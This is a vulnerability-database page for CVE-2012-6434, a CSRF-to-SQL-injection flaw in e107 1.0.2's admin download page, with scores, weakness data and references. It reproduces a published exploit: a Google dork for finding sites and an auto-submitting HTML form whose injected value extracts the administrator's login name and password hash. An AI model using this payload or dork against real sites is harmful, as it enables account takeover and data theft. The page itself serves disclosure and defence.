CVE-2012-6434 : Detail

CVE-2012-6434

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.2%V4
Network
2013-01-03
11h00 +00:00
2024-09-16
16h28 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple cross-site request forgery (CSRF) vulnerabilities in e107_admin/download.php in e107 1.0.2 allow remote attackers to hijack the authentication of administrators for requests that conduct SQL injection attacks via the (1) download_url, (2) download_url_extended, (3) download_author_email, (4) download_author_website, (5) download_image, (6) download_thumb, (7) download_visible, or (8) download_class parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23829

Publication date : 2013-01-01 23h00 +00:00
Author : Joshua Reynolds
EDB Verified : Yes

# Exploit Title: e107 v1.0.2 Administrator CSRF Resulting in SQL Injection # Google Dork: intext:"This site is powered by e107" # Date: 01/01/13 # Exploit Author: Joshua Reynolds # Vendor Homepage: http://e107.org # Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.2/e107_1.0.2_full.tar.gz/download # Version: 1.0.2 # Tested on: BT5R1 - Ubuntu 10.04.2 LTS # CVE: CVE-2012-6434 ----------------------------------------------------------------------------------------- Description: Cross-Site Request Forgery vulnerability in the e107_admin/download.php page, which is also vulnerable to SQL injection in the POST form. The e-token or ac tokens are not used in this page, which results in the CSRF vulnerability. This in itself is not a major security vulnerability but when done in conjunction with a SQL injection attack it can result in complete information disclosure. The parameters which are vulnerable to SQL injection on this page include: download_url, download_url_extended, download_author_email, download_author_website, download_image, download_thumb, download_visible, download_class. The following is an exploit containing javascript code that submits a POST request on behalf of the administrator once the page is visited. It contains a SQL injection that would provide the username and password (in MD5) of the administrator to be added to the Author Name of a publicly available download. ------------------------------------------------------------------------------------------ Exploit: <html> <body onload="document.formCSRF.submit();"> <form method="POST" name="formCSRF" action="http://[site]/e107/e107102/e107_admin/download.php?create"> <input type="hidden" name="cat_id" value="1"/> <input type="hidden" name="download_category" value="2"/> <input type="hidden" name="download_name" value="adminpassdownload"/> <input type="hidden" name="download_url" value="test.txt', (select concat(user_loginname,'::',user_password) from e107_user where user_id = '1'), '', '', '', '', '0', '2', '2', '1352526286', '', '', '2', '0', '', '0', '0' ) -- -"/> <input type="hidden" name="download_url_external" value=""/> <input type="hidden" name="download_filesize_external" value=""/> <input type="hidden" name="download_filesize_unit" value="KB"/> <input type="hidden" name="download_author" value=""/> <input type="hidden" name="download_author_email" value=""/> <input type="hidden" name="download_author_website" value=""/> <input type="hidden" name="download_description" value=""/> <input type="hidden" name="download_image" value=""/> <input type="hidden" name="download_thumb" value=""/> <input type="hidden" name="download_datestamp" value=""/> <input type="hidden" name="download_active" value="1"/> <input type="hidden" name="download_datestamp" value="10%2F11%2f2012+02%3A47%3A47%3A28"/> <input type="hidden" name="download_comment" value="1"/> <input type="hidden" name="download_visible" value="0"/> <input type="hidden" name="download_class" value="0"/> <input type="hidden" name="submit_download" value="Submit+Download"/> </form> </body> </html> ------------------------------------------------------------------------------------------ Fix: This bug has been fixed in the following revision: r13058 ------------------------------------------------------------------------------------------ Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family. Contact: Mail: infosec4breakfast@gmail.com Blog: infosec4breakfast.com Twitter: @jershmagersh Youtube: youtube.com/user/infosec4breakfast

Products Mentioned

Configuraton 0

E107>>E107 >> Version 1.0.2

References

http://www.exploit-db.com/exploits/23829/
Tags : exploit, x_refsource_EXPLOIT-DB
http://e107.org/changelog
Tags : x_refsource_CONFIRM
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.